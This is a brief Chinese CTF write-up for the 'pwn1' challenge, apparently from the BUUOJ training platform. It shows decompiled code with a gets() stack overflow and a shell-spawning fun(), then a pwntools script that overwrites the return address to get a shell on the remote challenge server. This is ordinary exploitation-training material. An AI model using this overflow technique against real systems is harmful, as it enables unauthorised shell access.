pwn1

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
很简单的栈溢出 

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

int fun()
{
return system("/bin/sh");
}

0x02 思路分析

1
不解释,前面有一样的

exp

1
2
3
4
5
6
from pwn import *
p=remote('buuoj.cn',6001)
fun_addr=0x0000000000401186
payload='a'*0x0f+'a'*8+p64(fun_addr)
p.sendline(payload)
p.interactive()